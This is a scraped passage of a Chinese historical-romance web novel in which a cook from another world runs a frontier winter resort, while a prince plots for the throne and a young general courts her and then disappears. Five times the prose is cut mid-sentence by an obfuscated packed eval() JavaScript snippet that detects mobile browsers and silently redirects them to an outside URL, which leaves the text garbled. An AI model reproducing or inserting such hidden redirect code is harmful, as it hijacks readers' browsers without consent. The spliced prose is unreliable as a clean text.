一嚼便知是粗壮的秋韭菜！ 这菜在寒露至霜降期间最佳，随着天气转凉，立冬后便销声匿迹。 再想吃到，就得等春二月了。 然而北境竟能在这深冬时节供应上韭菜？ “入口滑嫩，还带着清香，妙啊！”沈老爷连声称赞。 他迫不及待般，又送了一个馄饨进入口中。 清甜粉糯的豌豆，混杂着猪肉的鲜香，二者甜咸交织，带着恰到好处的嚼劲。 轻轻一抿，便滑入喉间。 这次，他更为诧异。 “吾素能辨味，此乃豌豆？当真匪夷所思！” 他的声音不自觉拔高，稀疏的眉毛猛地挑起，浑浊的眼眸也陡然瞪大。 不怪他一副没见过世面的样子。 秋播豌豆越冬后，在次年立夏前后方可成熟。就算是圣上，恐怕也没在冬日尝到过这么新鲜可口的豌豆！ 沈老爷目光如炬，只盼有人能为他解释一二。 “见过老爷、夫人。”桂枝儿笑盈盈地走出来，浅浅行了个万福礼。 她着素色棉袍，一头柔顺乌发盘成简洁大方的发髻，银簪斜插其上，在雪光映照下闪烁着清冷的光泽。 “民女便是这膳房主厨。”她耐心介绍道，“此乃烧尾宴食单中的二十四节气馄饨。” 辅料食材选用二十四节气的时令果蔬。 如处暑时节的百合虾仁、小满时节的马齿苋…… 幸赖樾王殿下极力倡行，官府出资，广筑陶土温室。 在北境想吃到反季蔬菜，并非难事。 桂枝儿尚在可惜，冬瓜喜温耐热，荷叶和菱角是水生植物，大棚也很难满足其生长所需的温度、光照条件。 沈老爷和锦棠夫人已经被深深折服了。 二人放下平日里的端庄，一口接一口地吃起了馄饨。 馅料的丰富口感在齿间散开，咀嚼时，仿佛能感受到四季更迭、时光流转。 锦棠夫人双手捧碗，喝完汤还意犹未尽地舔了舔嘴角，全然没了平日里的矜持。 热汤下肚，暖身又暖心。 沈老爷很爽快地付了银子，携锦棠夫人进雪场嬉戏。 山坡皑皑，二人执曲棍，踏雪板徐滑而下，又乘坐犬橇，堆雪狮、打雪仗，玩得不亦乐乎。 末了，锦棠夫人抬眸看向老爷。 “今日与老爷这般嬉闹，倒像是回到了年少时光。”她含情脉脉道。 “只要夫人喜欢，咱们在北境也置几份产业。”沈老爷伸手替夫她拂去肩头的雪花，“往后冬日常来度假。” 旁观一切的桂枝儿抿唇轻笑。 这是第一步，接下来，需请贵客移步栖闲别院。 玩乐许久，天色渐暗。 沈老爷毕竟年岁已高，寒风一吹，四肢生疼难耐。他活动着早已僵硬的脖颈，伸手捶打腰背，动作透出疲惫。 锦棠夫人钗环凌乱，脸颊被冻得通红，狼狈中又带着几分别样的娇憨。 二人兴奋劲儿一过，腹中饥饿便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263525|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻涌上来。 刚一张嘴，冷风又呛进喉咙，引得剧烈咳嗽。只恨不得立刻回到屋舍内歇息，享用晚膳。 幸而雪场与别院距离不远。 “烦将店内热馔，不拘价昂贱，一并端来！”沈老爷财大气粗，摸出银票看都不看就递与侍者。 不料，此间吃食再次超乎他的意料。 当中一座三足鼎状的铜制炉子被稳稳架起，炉中炭火熊熊，将鼎内的汤煮得咕嘟咕嘟翻滚。 “您喜欢什么锅底？”马尾辫女孩开朗大方迎客。 “普通口味的有椒香麻辣、清鲜白汤、番柿红果，还有咱北境特色——山珍菌菇！” 若有边防北境第一军的将士在场，一定会很眼熟。 这与桂小娘子曾请比武优胜者吃的火锅，有七分相像。不同点在于，炉子四周，摆放着琳琅满目的串串。 沈老爷粗略扫了一眼。 细长的竹签上，荤素搭配恰到好处。 有鲜嫩的羊肉，纹理间似乎还挂着些许晶莹的羊油，有卤制入味的鹌鹑蛋，小巧玲珑，被褐色的卤汁包裹。 此外，还有圆润的香菇、绿叶的冬寒菜、水芹……让人目不暇接。 “吾生平遍历各地馐馔，未尝遇此般精妙绝伦、饶富趣味之食。”沈老爷大开眼界。 他与锦棠夫人围炉而坐，各自选中心仪的串串，小心翼翼地放入鼎中。 不一会儿，串串就在汤中上下翻滚。 热气裹挟着香味扑面而来，让冰冷的四肢仿佛都暖和了起来。 在这寒冷的冬日，咬一口镶嵌在羊肉卷中晶莹剔透的蒜瓣，鲜嫩微甜。再尝一串酸辣开胃的泡椒牛肉，汁水在口中四溢，沈老爷幸福地眯了眯眼。 脸上洋溢着满足的笑容。 “除了在镇北开铺子，应该再找掮客买田置地。”他在心中掂量着，“如今天下大乱，此处竟如世外桃源。” 是个避难的好地方。 一顿串串香，味极珍馐。 只是饱腹回暖后，锦棠夫人嗅闻自己的衣裳，火锅味儿难以掩盖，不免有些尴尬。 她脸颊涨红，咬着下唇，内心略微窘迫。 这杂味沾身有损仪度，该如何是好？ 104. 胡桃云片 二人未等询问，便被侍者引入后院温泉池。 芙蓉汤泉场地有限，因而桂枝儿在建筑设计上，灵活应变，用白麻花岗岩铸造人工温泉。 于此招待来客，讲究的是意境风雅。 且男女有别，互不得见。 当温泉与雪交融，汤池内乳白的水汽氤氲升腾。 热气与飘落的雪花相遇，造就一颗颗晶莹的水珠，滴落在温泉水面，泛起点点涟漪。 “此乃何物？”锦棠夫人好奇地盯着面前一块透明幕布。 她伸出纤纤玉手，指尖轻触表面。幕布光滑冰冷，透过它还能看到别院内的琼枝玉树。 她浑身一震，眼眸里闪过一丝诧异。 这手感是……玻璃？ 通常王公贵族款接来宾，所用茶盏乃官窑烧制，玻璃盏算是顶稀罕的物件。 像他们这般商户，纵使家赀千万，没有门路亦难求得。 而这里竟然有一大片玻璃！ “神乎其技，难不成我来到了蓬莱仙岛？” 锦棠夫人声音发颤，她缓缓摩挲着玻璃，心跳愈发急促。 她猜的不错，玻璃幕布正是桂枝儿吩咐樾王手下能工巧匠所制。 只需将石英砂、纯碱、灰白玉岩分别磨碎成细粉，然后混合，放入熔炉即可炼造。 冬日泡温泉，露天可赏雪景但寒冷难耐，囿于斗室之中，又无甚趣味。 一块落地玻璃，巧妙解决了难题。 锦棠夫人迷迷糊糊地褪去衣物，在汤池中舒缓身心。 男女浴池的澡工性别不同，但服制统一。 “夫人请转身。”澡工手脚麻利，将牛乳倾倒于贵客后背。 随着他们手中澡巾的移动，贵客身上薄垢纷纷脱落，不仅没有丝毫不适，反而愈发轻松。 冲干净后，锦棠夫人二话不说加了银子，只为享受侍者刚刚提到的“按跷推拿”服务。 澡工按照培训流程，打开一瓶梅花露。 将清澈透明、质地轻盈的液体涂抹于锦棠夫人全身，同时手以独特的节奏轻点、按压。 每一个动作都伴随着对穴位的刺激。 锦棠夫人只觉一股清新悠远的梅花香气扑鼻而来，仿佛亲身走进了冬日的梅林。 随着穴位按摩，一整天的肌肉酸胀感逐渐消散，浑身疲惫顺着经络被一点点挤出体外。 “呼。”她舒服得几乎要睡过去。 另一厢，沈老爷的脚心被按得通红。 结束后他缓缓起身，只觉浑身通泰，仿佛脱胎换骨一般。 “买田置地远远不够。”他暗下决心，“不如跟着樾王殿下造反吧！将来当个皇商，岂不美哉？” 并非他贪图享受，北境所展露出来的实力不容小觑。 当然了，串串香也确实好吃！ 殊不知，他欲投诚的樾王殿下，此刻正在隔壁闲坐。 梁樾百忙之中，做客十二堡别院考绩成果。 他着一袭暗紫色与玄黑交织的大袖衣袍，交叉领口处，用银线绣着云纹。 腰肢被束得极细，却不失男子应有的英挺。 一整日，桂小娘子都刻意避免与他打照面。 樾王殿下起初还只是眉头微微蹙起，随着时间推移，天色渐暗，神色愈发凝重。 经过一日考察，他心中有数。 栖闲别院与雪场足以彰显北境特色，当美誉流传后，前来做客的将不仅是豪商巨贾。 凡有意倒戈镇北的缙绅贤能，定会大驾光临。 目的已达成。 但他唇角微微抿起，依旧透着拒人于千里之外的疏离。 “咦！殿下怎的还留于此地，莫不是尚有要事？” 直到熟悉的声音在耳畔响起，梁樾眼眸微抬。 桂小娘子纵有千般不耐，还是端来一盘核桃云片糕，故作乖巧地打着招呼。 梁樾蹙起的眉头轻轻一颤，随后缓缓松开。 原本抿成直线的嘴唇，也微微上扬，勾起一个矜贵优雅的弧度。 “无妨，顺路来探。”他眸中浮现一泓柔和的波光。 桂枝儿端来的青瓷葵口盘上，云片糕薄如蝉翼。 米白色的糕体中，镶嵌着形状各异的棕褐色胡桃切片。 想来是将一块块胡桃肉装入米粉，做成一段矩柱之形，然后用刀切成薄片制成的。 梁樾伸出修长的手指拈起一块，入口是甜蜜、香脆与软糯交织。 “这糕点，倒合了本王的心意。”他声线低沉，尾音微挑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269464|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “胡桃似云片，正如世事变化无常。” 一年前，他还是冒名顶替的镇北新任知府，一年后，杭京朝廷内忧外患，而北境则物阜民丰，形势逆变。 万事更迭难料。 恐怕当今圣上也想不到，不仅调兵北伐不成，连南边的倭寇都敢叫嚣着，要与裕和公主和亲。 “大厦将倾，小娘子也该为自己筹谋一番。”梁樾别过脸，“以汝之才，想显达于世并不难。” 他侧脸的神情在烛火映照下，晦涩难辨。 “日后宫阙焕新时，愿有金钗饰卿妆。” 梁樾的声音逐渐微弱，手指不自觉地摩挲着腰间玉佩，泄露了内心的紧张。 龙章凤印，帝后共理朝政之局，于史亦非鲜见。 今夜月色在雪的映衬下，散发着朦胧的光。 桂枝儿凝视他的那双眼睛，澄澈灵动，恰若夜空中熠熠生辉的星辰。 梁樾只觉月色太美，自己昏了头。 想表达的心意拐了七八个弯，说得不清不楚，倒也好，尚给自己留了几分余地。 桂枝儿眨了眨眼。 什么？ 她一个来自异世的旅居者，若真要有野心，也是推翻封建王朝，使帝王绝迹于历史。 她敢干，樾王敢从吗？ 等到被榨干利用价值后，即以妖邪之名拘捕，燃薪烈火，使她灰飞烟灭。 这才是她真正的下场！ “小女无意干涉殿下逐鹿皇位，倘使苍生安居乐业，九五之尊何人当之，皆无不可。” 桂枝儿胆大包天地说道。 她建栖闲别院，也非为了助梁樾一臂之力。 十二堡的百姓赚到闲钱，能安稳过冬，出资请桂小娘子做一顿杀猪菜，系统任务进度便跃升至99.5％。 她更在意的是，美食带来的最朴素的情感。 大人物们心怀天下，总一厢情愿地曲解事实。 “殿下称赞的这云片糕，您拿核桃和糕一并嚼下去，滋味相同。”桂枝儿真诚回答，“小女只是为了卖得更贵罢了。” 她是实在人，不懂这些儿女情长。 梁樾被她直白的话哽住。 空气中弥漫着一种静谧而又略带孤寂的气息。 105. 美人出浴 “也罢，人心终有变迁之时。”梁樾被落了面子，拂袖而去，“本王随时恭候。” 他走得仓促，背影里有些落荒而逃的味道。 不知是害羞还是窘迫。 随着时间推移，北境逐渐进入隆冬时节。 肃杀之风无情地割着行人的脸，城里田间弥漫着刺骨的寒意，但到访十二堡的贵客却越来越多。 雪场也新增了打冰嘎、溜冰、冰上滚铁圈等小戏。 许是被怠慢了，樾王殿下没再驾临栖闲别院。 栾小将军倒是来过一次。 彼时桂枝儿已经将别院运作诸事，全部交付书生们及邀月楼姐妹，不再插手了。 栾霜柏骑着白驹，一刻不耽误地赶路。 推开门的刹那，凛冽寒风裹挟着大片雪花卷进屋内。 铜炉上的酒壶正“咕嘟咕嘟”冒着热气，桂枝儿手中的热卤鸭脖还未咽下，听闻声响抬眸，正对上小将军含笑的眼。 “咳咳。”她忙用衣袖遮挡案几上的狼藉。 碟中尚残有几枚辣藕片与海带结，是她一时嘴馋，从空间中取原料卤制的。 “小将军缘何至此？”桂枝儿眼神闪躲。 “我不来，怎知姑娘背着我，大快朵颐。”栾霜柏伫立门前，抖落身上积雪，厚重的玄色披风扬起一片雪雾。 而后大踏步入屋内，反手关上门。 端的是蜂腰窄胯，洒脱利落。 他嘴角勾起一抹爽朗的笑，取过酒壶，动作熟稔地为自己斟了一杯。 少年的眉睫发梢堆满了雪，冰晶闪烁着细碎光芒。 他浅酌几口热烧酒，搓了搓手，才暖和几分。 “东鲁禁军已退，末将前往中心府城报捷。”栾霜柏解释道，“顺路来看看姑娘。” 他讲这话有些心虚。 近日，北境军软磨硬泡扣下了好几个外地来的厨子，做足数周伙食，才放他们去找桂小娘子拜师学艺。 据桂记卤味店的小学徒说—— 师傅听多了告状声，耳朵都快磨出茧子啦！ 这才又跑回栖闲别院躲几日清闲。 桂枝儿眸中藏着星星点点的笑意，纵容栾小将军大大咧咧地坐在对面，风卷残云般扫荡案几上残余的吃食。 热卤辣得他直哈气，眼神亮晶晶的。 绕道几十公里也叫顺路探访？ 桂枝儿并不拆穿。 “坊间皆传，此次战事跌宕，小将军可有受伤？”桂枝儿添上一杯酒，关切问道。 少年摇摇头。 他的脸庞被风雪吹得泛红。 “樾王殿下本意速战速决。”几杯酒下肚，栾小将军的话又多了起来，“我等同为大梁子民，非匈奴番邦之人，本不应兵戎相向，自相残杀。” 他初出茅庐便怀揣着一腔热血，闯入北境，在这里与士兵们一同训练、成长。 性具江湖豪逸之气。 但在承顺上官、揣度君心方面，还需磨砺。 “坚守不出的战略被樾王殿下否决了？”桂枝儿一猜便知。 那梁樾，看似温文尔雅，实则最为果断。 趁着大梁内忧外患，一鼓作气攻入杭京，拿下帝位，才是他的目的。 “容不得我推拒。”栾霜柏艰难地开口，胸口仿佛堵了块石头。 朝廷派兵北伐，诏书催命似的，一道接一道递来。江指挥使被北境军吓破了胆子，转头便打起歪主意。 他毅然决然地决定，先拿百姓开刀！ 这也是官府剿匪的老套路了。 打不过起义军，还治不了你老百姓？ 先抓一些无辜之人杀头交差，免得讨贼不力，被圣上处罚。 “这一战，我方派兵摸黑偷袭，顺着城墙迂回渗透，本欲把城墙上守兵解决，再打开城门。”栾霜柏娓娓道来。 “岂料，当地百姓不堪朝廷压迫，竟自发开门迎接我们。” 桂枝儿挑了挑眉。 意料之外，情理之中。 今春，受洪灾影响逃难的人不计其数。 难民们以为，杭京繁华，即使讨饭也能活下去，谁知那亭台楼阁都归属富贵人家，鱼米之乡没有他们种庄稼的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287326|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而北境，有大片待开发的白山黑水，大豆高粱。 他们盼着樾王殿下赢，民心所向。 “得了，不提伤心事。”桂枝儿亲昵地拍拍少年的肩，“既然来到这里，小将军不妨体验一番沐浴推拿。” 将栾霜柏推搡进温泉池，桂枝儿摩擦双手，跃跃欲试。 水汽如雾，自芙蓉汤泉内袅袅升腾，将室内氤氲得朦胧又暖煦。 片刻后，一道颀长身影钻水而出。 栾小将军潇洒不羁地抹了把脸，晶莹的水珠顺着他线条分明的脖颈，滑过结实的胸膛，再没入劲瘦的腰间。 少年因风吹日晒，面庞颜色深了几分。 身上肌肤却依旧白嫩，在热水的熏蒸下，透着淡淡绯色。 “咻——” 推门而入的桂枝儿见此，忍不住用舌尖轻抵牙齿，从喉咙里溢出一声极轻的口哨。 带着一股漫不经心的轻佻。 “姑娘！”栾霜柏唰的一下没入温泉池，结结巴巴地喊道，“你、你怎么能……” 怎能贸然闯入，窥男子沐浴？ 他脸颊迅速浮上一抹红晕。 桂枝儿不以为然，她款步上前，挥手向少年甩出一件浴袍。 “小将军，该按摩了。” 小将军耳尖瞬间发烫，他别开目光，手指不自觉攥紧浴袍边缘，喉结上下滚动。 “这……这多有不便。”虽是拒绝之语，脸上神情却别别扭扭，透出三分期待。 他裹紧衣服，按桂枝儿吩咐平躺于榉木小榻。 紧闭双眼，深吸一口气。 明明是享受，却四肢绷紧，倒好似上刑。 桂枝儿嘴角上扬，她凝神静气，右手食指与中指并拢，游龙探爪般按在肩井穴上。 栾霜柏顿感一股温热的气息顺着穴位渗入体内。 随后，她的手指开始沿着脊柱两侧按揉，每一下都精准无比。 “姑、姑娘，你拿葵花点穴手和天山折梅手给人按摩？” 浑身不断颤动，腰背传来一阵阵酸胀。 栾霜柏叫苦不迭。 106. 刮刮鼻尖 “放松些。”桂枝儿笑意盈盈，“疏通经络而已。” 受培训的澡工们只是寻常百姓，并无内力，按摩自然不会带来这般酸痛。 而桂枝儿则不同。 她双手拂过穴位，刚柔并济，一寸寸熨帖过少年的肌肤。 隔着浴袍，酥酥麻麻的感觉蔓延全身。 栾霜柏原本僵硬的身体，慢慢放松。 紧绷的神经也随之柔和下来。 他躺在榉木小榻上，就像卧于蓬松的云层，周身疲惫被逐步驱散。 “姑娘诸艺兼通，实乃兰心蕙质。”栾霜柏闭着眼嘟囔了一句。 他不免有些嫉妒桂枝儿那素未谋面的夫君。 多年未有音讯，许是战死沙场，却还能得桂姑娘挂念，时不时提上一嘴。 酒劲上头，他越想越是不平，只觉桂枝儿按穴的手径直撩拨了他躁动的心。 忍不住壮着胆子道—— “姑娘既然摸了我，也该对我负责。” 话说出口，少年陡然涨红了脸，不敢睁眼，似是在等待桂枝儿的婉拒或奚落。 但四肢紧绷，小狗似的，一副坚定的样子。 桂枝儿诧异地张了张嘴。 继而嘴角上扬，忍不住伸出手摸摸少年的头，乌黑的发还未干透，冰凉凉的。 她手指顺到他鼻尖刮了刮，笑而不语。 栾小将军逃离栖闲别院时，心急如焚地抓起玄色披风。 慌乱之中，手指不听使唤，将左右两根带子交错穿插，怎么拉都觉得别扭。 等他跨出院落，刚一露头，寒风便呼啸着灌进领口。 竟是系错了带子。 “哈哈哈哈哈。”桂枝儿畅快地乐出声。 栾霜柏碍于身着铠甲，动作笨拙，僵在原地让女子看足了笑话，无奈地叹口气。 “姑娘可否帮我？”他娇憨地问道。 桂枝儿轻柔地伸出手，仔细为他整理披风。 栾霜柏屏住呼吸，手臂僵硬地垂在身侧，手指微微蜷缩着。他时不时偷瞄女子专注的模样，心中有种隐秘的快乐。 “无论如何，桂姑娘没拒绝。” 他骑着白驹在雪地飞奔，身子前倾，凑近马的耳朵，嘴里碎碎念个不停。 “待为恩人报了仇，捉住那狗皇帝，一切就平定了。到时我陪桂姑娘开个小店……” 白马起初还动动耳朵，似乎在勉强听着小将军的美好愿景。 可没一会儿，它就不耐烦起来，脑袋猛地一甩，脖颈处的鬃毛被凌冽寒风带得肆意飞扬。 前蹄不安分地刨着地面，雪花四溅。 似是听腻了将军谈及心上人，它傲娇地甩甩尾巴。 承朔四年冬。 一顶轿子将裕和公主送往岭南。 没有华丽的服饰，没有威风的仪仗，仅有寥寥禁军，护送着给倭寇的战败赔款作为公主嫁妆。 曾以赫赫战功一统四方的大梁，如今竟用这样的方式，让公主走向和亲之路，国威可谓荡然无存。 “父皇！儿臣绝不和亲……随便赐个宫女，或是册封一位宗室女给那蛮人，已是抬举他了！” 公主在殿内哭成了泪人。 她的指甲嵌入掌心，渗出丝丝血迹，口中呼喊尖锐刺耳，满是绝望与不甘。 “倭人点明了要你，怎能糊弄！”圣上心力交瘁，惶恐不安道。 那群该死的倭寇，自岭南港口悄然登陆。 先是在沿海渔村烧杀抢掠，而后一路向北推进，穿过连绵起伏的丘陵，凭借着悍不畏死的疯狂，攻城略地。 再不阻拦，兵临杭京城下是早晚的事！ 杭京不能留了！ 最好弃城北逃，可北方尚有樾王虎视眈眈！ “吾儿不可任性，要以大局为重。”皇帝既心虚又烦躁。 比起割地求和，嫁个公主换取片刻喘息，是一桩再划算不过的买卖了。 以大局为重？ 圣上此言一出，便表明了裕和公主必然不在这大局里。 “不、不可！”她一边叫嚷，一边疯狂跺脚，锦鞋重重砸在地面，似要将宫殿青砖踏碎。 最终，她被侍从粗鲁地捆绑起来，绳索勒进娇嫩的肌肤，在众人推搡下，被扔进轿子里。 皇帝轻易地抛弃了他最宠溺的女儿。 “有道是——” “远嫁和亲公主难挡倭患寇扰，弃城北逃帝王一路屡遭攻伐！” 说书人猛地将惊堂木往桌上一拍，脆响声震得人心头一颤。 紧接着，他端起砂壶，热水如银线般从细长的壶嘴中落下，说书人抿了口茶，清清嗓子。 “先生，当下最新战况究竟如何了？是我北境军节节胜利，还是伪帝又有了新动向？” 有乡绅忍不住插嘴问道。 在中心府城最繁华的邀月楼，各色绢花装点楼台扶手。 花娘和小倌们聚集在此，从演戏剧，改为说书，氤氲的酒香也被茶水味儿冲淡。 生意反而更好了！ 就连远在凌河县，以张员外为首的富户们，也要派家丁时刻关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313593|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注这里。 只为掌握第一手情报。 “对啊，栾将军打到哪里了？” “还望先生能为我等详细道来，以解心中忧虑！” 听众们叽叽喳喳，目光炯炯地盯着说书人，只等他的回应。 此战若赢，北境腾飞指日可待，若败，北境就还是那个凄凉寒苦的流放之地。 成败在此一举！ 说书人擦擦额头的汗珠，含糊其辞地看向老鸨。这后续剧情，樾王殿下何时派管家来说啊？ 角落处，桂枝儿手中茶盏已凉。 她轻叹了口气，微微摇头，轻移莲步悄然离去。 自古至今，几乎没有战争是为了爱与和平而打响，所有的流血牺牲，都逃不开经济原因。 官府横征暴敛，百姓奋起反抗。 她只管经营好卤味店，令身边人安享其生，足矣。 转眼又是月余。 “正月里，新年到。咱们屯子年货好，鸡鸭鱼肉都不少！冰糖葫芦有滋味，花生瓜子装满筐……” 喜气洋洋迎新春的氛围，在北境大地铺展开来。 而南方与之截然相反，战火连天。 帝王有难，各路守军自当增援。 于是，燕平、泽州各部，扬安、河洛的藩王私兵，甚至连山贼、河溜子都想分一杯羹。 可一来，大梁为防武将拥兵自重，不断收缩军权，更戍制大大削弱了驻军的战斗力和凝聚力。 二来他们又未必真想护驾，有人打着清君侧的名目浑水摸鱼，有人带着部下叛逃投奔镇北。 大梁兵马乱成了一锅粥。 中心府城这边，也是在一切尘埃落定后，才搞清楚究竟是怎么回事。 据战报，累计有六个州府的驻军投入战斗。 他们懵然成了栾霜柏战策中的棋子，或助阵，或驰援，被耍的团团转。 最终全为他人做嫁衣。 “赢了！咱们成事儿啦！” 待到初夏，伪帝被擒的消息传来，北境万人空巷，锣鼓喧天。 “栾将军威武！逼那伪帝退位让贤，禅位于樾王殿下。” “是嘞，俺听说狗皇帝还下了什么罪己诏，承认自己当年坑害梁大将军。” 议论与欢呼声交织。 年壮力强的后生们舞龙舞狮，在街巷中穿梭，孩童们则兴奋地跟在队伍后面，挥舞彩旗。 一派昌盛和乐之象。 然而吊诡的是，此战最大功臣，经略大将军栾霜柏—— 竟然离奇失踪了！ 107. 囚禁暗室 栾将军失踪前，恰好将虎符与印信移交船把头，对粮草物资、战斗部署都做了细致入微的交代。 让人不得不怀疑，此举蓄谋已久。 然而桂枝儿并不信。 春末夏初，她躺在卤味店的后院摇椅上。 暖烘烘的太阳温柔地包裹着少女，为她的裙摆镀上一层金辉。 她眯了眯眼，思考半响，扬声唤来两个小学徒。 “怎么啦，师傅？” 扎着马尾辫的小厨娘擦擦手，赶忙从灶房跑出来。 “我要出趟远门，给你们留点防身的器具，以及珍藏食谱。”桂枝儿三言两语交代道。 身着斜襟短衣的小男孩一脸诧异。 大厨食谱，历来是顶级秘宝，轻易不会展露。 小娘子这是……把他们当亲传徒弟了？ 后厨大铁锅里，卤汁咕嘟咕嘟地翻滚着，浓郁的卤香勾得人直咽口水。 刚冒嫩芽的树叶，被微风吹得沙沙作响。 就是这样一个寻常的下午，桂枝儿摆摆手离开了。 踱步至中心府衙。 此地今非昔比，朱红色的大门巍峨矗立，其上铜钉闪烁着冷硬的光泽。门前新修了宽阔的石阶，两侧石狮怒目而视。 还未靠近，便有身披铠甲的守卫警惕地迎上前来。 “官府机要之地，庶民百姓不得擅入！”守卫面容严肃。 桂枝儿未准备拜帖，幸而有巡逻暗卫相识，代她向管家传信。 饶是如此，也干等了大半日有余。 直到傍晚，才腾出空来。 “桂小娘子，殿下请您共进晚膳。”侍女恭敬回话。 桌上，精致的碗碟依次排开，皆是些清汤寡水之物。 当中一碗翡翠白玉汤，嫩绿的菜叶与豆腐色泽清亮；一碟凉拌时蔬，点缀着些许酱汁；最后还有一盘素炒笋丝。 梁樾身着一袭暗纹锦袍，神色疲倦，身姿笔挺地端坐在雕花檀木椅上。 “见过殿下。”桂枝儿亦是规规矩矩。 两人间有种礼貌的生疏感。 恪守着“食不言”的规范。 樾王殿下夹起一筷子菜放入口中咀嚼，神色平静如水。 他轻抿两口汤，同样动作优雅，毫无声响。浅尝辄止后，便示意丫鬟撤下。 “小娘子可还满意晚膳？”梁樾客气地问了一句。 桂枝儿放下筷子。 “吃完连上吊都没力气了。”她眨眨眼，诚恳发言。 梁樾冷峻的面容有所松动，喉间忍不住溢出一声浅笑。 他挥挥手。 很快，后厨又为桂枝儿加了一锅炖煮鹿筋拆鸭子，一小盅燕窝攒丝汤，这才添了点荤腥滋味。 “小娘子求见本王，有何贵干？” 梁樾捻起案几旁叠得方正的丝帕，不紧不慢地擦拭着手指，周身清冷矜贵。 他以为，自上次谈崩后，桂枝儿不会再踏入府衙一步了。 “非为什么大事。”桂枝儿咬了一口鸭肉。 肉质干柴，没什么嚼劲。 她正视樾王殿下的眼眸，大胆问道——“不过是想与殿下打探一下，栾小将军的死活？” “死活。”梁樾冷哼一声，下颌微微收紧。 男子眼眸深处，隐隐有怒火在翻涌。他撇下手中帕巾，一张白皙的脸庞，透出几分病态的美感。 她不问栾霜柏的去向，也不问下落，而是问他的生死存亡。 言过其实，耸人听闻。 “小娘子关心则乱。”梁樾压抑着内心的汹涌情绪，“栾将军失踪一事，本王亦不知情。” 他知道她在揣测什么。 皇室秘辛，言之蒙羞。 无非是大梁重文轻武，一贯以来都有飞鸟尽良弓藏，君王诛杀武将的传统。 栾霜柏既为武将，功高震主，况且君王主战，他主和，二人理念相左…… “就算本王忌惮栾将军少年英才，等收复岭南，再动手也不迟！”梁樾声音低哑。 他素日里总是一副沉稳模样，如今却被女子一句话气到口不择言，往常刻意收敛的阴鸷暴露无遗。 梁樾敏锐地觉察到了，栾霜柏在桂枝儿心中的份量。 似乎一贯如此。 从乞颜乌什部落的游牧劫匪，第一次翻越梅山，冲击中心府城开始，桂小娘子便连夜出城，以命相救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330920|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他栾霜柏，何德何能？ 心中妒忌如野草般疯狂生长。 但理智却告诉他，仅一闺阁女子而已，不值得为这等小事恼火。 梁樾微微仰头，望向夜空，试图让自己维持表面的云淡风轻。 他那修长的脖颈紧绷，显得有些僵硬。 片刻后，他低头柔声道—— “夜深了，小娘子一个人，归程恐有危险，不若先于王府歇宿一晚。” 话虽如此，樾王殿下的笑意却未达眼底，最终挥袖离去。 桂记卤味店与府邸，相距不过十丈。 有哪门子危险？ “这般行径，莫不是筹谋登基压力太大，癫了。”桂枝儿暗自思忖。 她无所谓地轻耸肩膀，眼中闪过一丝怜悯。 罢了，何必跟疯子计较。 桂枝儿在暗卫的护送下，进了厢房。 屋内被褥整齐，只是门已被牢牢锁住，将她困于这方寸之地，绝无逃脱的可能。 窗外月光如银纱般倾洒而入。 身处囚室，桂枝儿却并不焦躁。 “系统，帮我定个寅时一刻的闹钟。”她打了个哈欠，双手随意地交叠于身前，平躺睡下。 一床蜀锦被面的薄衾，触手生凉，倒是让她很快沉入梦乡。 